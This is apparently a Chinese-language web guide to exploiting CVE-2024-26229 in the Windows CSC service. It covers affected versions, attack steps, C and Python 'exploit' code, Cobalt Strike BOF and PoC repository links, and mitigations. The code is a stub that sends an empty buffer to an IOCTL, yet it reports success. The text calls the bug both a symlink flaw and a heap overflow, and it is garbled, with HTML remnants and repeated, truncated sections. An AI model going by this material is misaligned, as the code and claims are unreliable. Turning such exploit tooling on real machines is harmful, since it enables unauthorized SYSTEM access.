Windows CSC 提权漏洞 CVE-2024-26229 技术分析与利用指南<\/h1>

1. 漏洞概述<\/h2>
CVE-2024-26229 是影响 Windows 操作系统客户端缓存(CSC)服务的高危权限提升漏洞，CVSS 评分为 7.8 分（高危）。该漏洞涉及 CSC 服务在处理文件和文件夹符号链接时的权限检查不足问题。<\/p>

漏洞本质<\/h3>

漏洞类型<\/strong>：基于堆的缓冲区溢出 (CWE-122)<\/li>
攻击向量<\/strong>：本地利用<\/li>

影响范围<\/strong>：权限提升至 SYSTEM 级别<\/li> <\/ul>
2. 受影响系统版本<\/h2>
主要受影响系统<\/h3>

Windows Server 2022 (包括 Server Core)<\/li>
Windows Server 2019 (包括 Server Core)<\/li>
Windows Server 2016 (包括 Server Core)<\/li>
Windows 11 (21H2\/22H2\/23H2)<\/li>
Windows 10 (1607\/1809\/21H2\/22H2)<\/li> <\/ul>
特殊说明<\/h3>

服务状态要求<\/strong>：目标主机必须启用 CSC 服务<\/li>
默认配置<\/strong>：Windows Server 2016\/2019\/2022 默认禁用 CSC 服务<\/li>
例外情况<\/strong>：部分报告显示 Windows 10 系统可成功复现<\/li> <\/ul>
3. 漏洞技术分析<\/h2>
漏洞机制<\/h3>

符号链接处理缺陷<\/strong>：CSC 服务在处理符号链接时未正确验证权限<\/li>
权限提升路径<\/strong>：通过恶意符号链接绕过文件访问控制<\/li>
攻击效果<\/strong>：

访问敏感系统文件<\/li>
修改\/删除关键系统文件<\/li>
执行任意代码<\/li> <\/ul> <\/li> <\/ol>
攻击流程<\/h3>

创建精心设计的符号链接<\/li>
通过特定 IOCTL (0x222000) 发送恶意请求<\/li>
触发缓冲区溢出或权限绕过<\/li>
实现权限提升<\/li> <\/ol>
4. 漏洞利用准备<\/h2>
环境要求<\/h3>

目标系统已启用 CSC 服务<\/li>
攻击者具有普通用户权限<\/li>
需要本地执行权限<\/li> <\/ul>
检测 CSC 服务状态<\/h3>
Get-Service -Name "CscService"<\/span> <\/span><\/span><\/code><\/pre> 运行状态应为 "Running"<\/li> 若为 "Stopped" 或 "Disabled" 则无法利用<\/li> <\/ul> 5. 漏洞利用实现<\/h2> 方法一：使用公开 POC (C 语言实现)<\/h3> #include<\/span> <Windows.h><\/span> <\/span><\/span><\/span>#include<\/span> <stdio.h><\/span> <\/span><\/span><\/span><\/span> <\/span><\/span>int<\/span> main<\/span>() { <\/span><\/span> HANDLE hDevice =<\/span> CreateFile("<\/span>\\\\<\/span>.<\/span>\\<\/span>CSCService"<\/span>, <\/span><\/span> GENERIC_WRITE, <\/span><\/span> 0<\/span>, <\/span><\/span> NULL, <\/span><\/span> OPEN_EXISTING, <\/span><\/span> FILE_ATTRIBUTE_NORMAL, <\/span><\/span> NULL); <\/span><\/span> <\/span><\/span> if<\/span> (hDevice ==<\/span> INVALID_HANDLE_VALUE) { <\/span><\/span> printf("Failed to open CSC device<\/span>\n<\/span>"<\/span>); <\/span><\/span> return<\/span> 1<\/span>; <\/span><\/span> } <\/span><\/span> <\/span><\/span> DWORD bytesReturned; <\/span><\/span> char<\/span> payload[100<\/span>] =<\/span> {0<\/span>}; \/\/ 需根据实际情况构造有效负载 <\/span><\/span><\/span><\/span> <\/span><\/span> BOOL status =<\/span> DeviceIoControl(hDevice, <\/span><\/span> 0x222000<\/span>, <\/span><\/span> payload, <\/span><\/span> sizeof<\/span>(payload), <\/span><\/span> NULL, <\/span><\/span> 0<\/span>, <\/span><\/span> &<\/span>bytesReturned, <\/span><\/span> NULL); <\/span><\/span> <\/span><\/span> if<\/span> (!<\/span>status) { <\/span><\/span> printf("Exploit failed (Error: %d)<\/span>\n<\/span>"<\/span>, GetLastError()); <\/span><\/span> return<\/span> 1<\/span>; <\/span><\/span> } <\/span><\/span> <\/span><\/span> printf("Exploit payload sent successfully<\/span>\n<\/span>"<\/span>); <\/span><\/span> CloseHandle(hDevice); <\/span><\/span> return<\/span> 0<\/span>; <\/span><\/span>} <\/span><\/span><\/code><\/pre>编译命令：<\/p> gcc -o exploit.exe exploit.c <\/span><\/span><\/code><\/pre>方法二：使用 Beacon 对象文件(BOF)实现<\/h3> 适用于 Cobalt Strike 和 BruteRatel 框架：<\/p> 获取 BOF 代码：<\/p> https:\/\/github.com\/NVISOsecurity\/CVE-2024-26229-BOF <\/code><\/pre> <\/li> 编译命令：<\/p> gcc -c CVE-2024-26229-bof.c -o CVE-2024-26229-bof.o <\/span><\/span><\/code><\/pre><\/li> <\/ol> 方法三：使用 Python 实现<\/h3> import<\/span> ctypes <\/span><\/span>from<\/span> ctypes import<\/span> wintypes <\/span><\/span> <\/span><\/span>kernel32 =<\/span> ctypes.<\/span>WinDLL('kernel32'<\/span>, use_last_error=<\/span>True<\/span>) <\/span><\/span> <\/span><\/span>GENERIC_WRITE =<\/span> 0x40000000<\/span> <\/span><\/span>OPEN_EXISTING =<\/span> 3<\/span> <\/span><\/span>FILE_ATTRIBUTE_NORMAL =<\/span> 0x80<\/span> <\/span><\/span> <\/span><\/span># 定义DeviceIoControl<\/span> <\/span><\/span>DeviceIoControl =<\/span> kernel32.<\/span>DeviceIoControl <\/span><\/span>DeviceIoControl.<\/span>argtypes =<\/span> [ <\/span><\/span> wintypes.<\/span>HANDLE, # hDevice<\/span> <\/span><\/span> wintypes.<\/span>DWORD, # dwIoControlCode<\/span> <\/span><\/span> wintypes.<\/span>LPVOID, # lpInBuffer<\/span> <\/span><\/span> wintypes.<\/span>DWORD, # nInBufferSize<\/span> <\/span><\/span> wintypes.<\/span>LPVOID, # lpOutBuffer<\/span> <\/span><\/span> wintypes.<\/span>DWORD, # nOutBufferSize<\/span> <\/span><\/span> wintypes.<\/span>LPDWORD, # lpBytesReturned<\/span> <\/span><\/span> wintypes.<\/span>LPVOID # lpOverlapped<\/span> <\/span><\/span>] <\/span><\/span>DeviceIoControl.<\/span>restype =<\/span> wintypes.<\/span>BOOL <\/span><\/span> <\/span><\/span>def<\/span> exploit<\/span>(): <\/span><\/span> device_name =<\/span> "<\/span>\\\\<\/span>.<\/span>\\<\/span>CSCService"<\/span> <\/span><\/span> <\/span><\/span> # 打开设备<\/span> <\/span><\/span> hDevice =<\/span> kernel32.<\/span>CreateFileW( <\/span><\/span> device_name, <\/span><\/span> GENERIC_WRITE, <\/span><\/span> 0<\/span>, <\/span><\/span> None<\/span>, <\/span><\/span> OPEN_EXISTING, <\/span><\/span> FILE_ATTRIBUTE_NORMAL, <\/span><\/span> None<\/span> <\/span><\/span> ) <\/span><\/span> <\/span><\/span> if<\/span> hDevice ==<\/span> -<\/span>1<\/span>: <\/span><\/span> print(f<\/span>"Failed to open device. Error: <\/span>{<\/span>ctypes.<\/span>get_last_error()}<\/span>"<\/span>) <\/span><\/span> return<\/span> False<\/span> <\/span><\/span> <\/span><\/span> # 准备payload<\/span> <\/span><\/span> ioctl_code =<\/span> 0x222000<\/span> <\/span><\/span> payload =<\/span> bytes(100<\/span>) # 需构造实际有效payload<\/span> <\/span><\/span> <\/span><\/span> bytes_returned =<\/span> wintypes.<\/span>DWORD(0<\/span>) <\/span><\/span> <\/span><\/span> # 发送IOCTL<\/span> <\/span><\/span> status =<\/span> DeviceIoControl( <\/span><\/span> hDevice, <\/span><\/span> ioctl_code, <\/span><\/span> payload, <\/span><\/span> len(payload), <\/span><\/span> None<\/span>, <\/span><\/span> 0<\/span>, <\/span><\/span> ctypes.<\/span>byref(bytes_returned), <\/span><\/span> None<\/span> <\/span><\/span> ) <\/span><\/span> <\/span><\/span> if<\/span> not<\/span> status: <\/span><\/span> print(f<\/span>"Exploit failed. Error: <\/span>{<\/span>ctypes.<\/span>get_last_error()}<\/span>"<\/span>) <\/span><\/span> kernel32.<\/span>CloseHandle(hDevice) <\/span><\/span> return<\/span> False<\/span> <\/span><\/span> <\/span><\/span> print("Exploit succeeded!"<\/span>) <\/span><\/span> kernel32.<\/span>CloseHandle(hDevice) <\/span><\/span> return<\/span> True<\/span> <\/span><\/span> <\/span><\/span>if<\/span> __name__ ==<\/span> "__main__"<\/span>: <\/span><\/span> exploit() <\/span><\/span><\/code><\/pre>6. 漏洞防护措施<\/h2> 临时缓解方案<\/h3> 禁用 CSC 服务：<\/p> Stop-Service -Name "CscService"<\/span> -Force <\/span><\/span>Set-Service -Name "CscService"<\/span> -StartupType Disabled <\/span><\/span><\/code><\/pre><\/li> 应用组策略限制：<\/p> 禁用离线文件功能<\/li> 限制符号链接创建权限<\/li> <\/ul> <\/li> <\/ol> 长期解决方案<\/h3> 安装微软官方安全补丁<\/li> 定期更新 Windows 系统<\/li> <\/ul> 7. 参考资源<\/h2> 官方漏洞描述：<\/p> NVD: https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2024-26229<\/li> Microsoft Security Advisory<\/li> <\/ul> <\/li> 利用代码仓库：<\/p> BOF实现: https:\/\/github.com\/NVISOsecurity\/CVE-2024-26229-BOF<\/li> POC代码: https:\/\/github.com\/varwara\/CVE-2024-26229<\/li> <\/ul> <\/li> 相关技术文档：<\/p> Windows CSC 服务官方文档<\/li> 符号链接安全最佳实践<\/li> <\/ul> <\/li> <\/ol> 附录：完整受影响版本列表<\/h2> 序号<\/th> 系统版本<\/th> 版本号<\/th> <\/tr> <\/thead> 1<\/td> Windows Server 2022, 23H2 Edition (Server Core)<\/td> 10.0.25398.830<\/td> <\/tr> 2<\/td> Windows Server 2012 R2<\/td> 6.3.9600.21924<\/td> <\/tr> ...<\/td> ...<\/td> ...<\/td> <\/tr> 36<\/td> Windows 10 Version 1809 for 32-bit Systems<\/td> 10.0.17763.5696<\/td> <\/tr> <\/tbody> <\/table> （完整列表见原始文档）<\/p>

序号<\/th>	系统版本<\/th>	版本号<\/th> <\/tr> <\/thead>
1<\/td>	Windows Server 2022, 23H2 Edition (Server Core)<\/td>	10.0.25398.830<\/td> <\/tr>
2<\/td>	Windows Server 2012 R2<\/td>	6.3.9600.21924<\/td> <\/tr>
...<\/td>	...<\/td>	...<\/td> <\/tr>
36<\/td>	Windows 10 Version 1809 for 32-bit Systems<\/td>	10.0.17763.5696<\/td> <\/tr> <\/tbody> <\/table> （完整列表见原始文档）<\/p>

Windows CSC 提权漏洞 CVE-2024-26229 技术分析与利用指南<\/h1>

1. 漏洞概述<\/h2> CVE-2024-26229 是影响 Windows 操作系统客户端缓存(CSC)服务的高危权限提升漏洞，CVSS 评分为 7.8 分（高危）。该漏洞涉及 CSC 服务在处理文件和文件夹符号链接时的权限检查不足问题。<\/p>

2. 受影响系统版本<\/h2>

3. 漏洞技术分析<\/h2>

4. 漏洞利用准备<\/h2>

5. 漏洞利用实现<\/h2>

6. 漏洞防护措施<\/h2>

1. 漏洞概述<\/h2>
CVE-2024-26229 是影响 Windows 操作系统客户端缓存(CSC)服务的高危权限提升漏洞，CVSS 评分为 7.8 分（高危）。该漏洞涉及 CSC 服务在处理文件和文件夹符号链接时的权限检查不足问题。<\/p>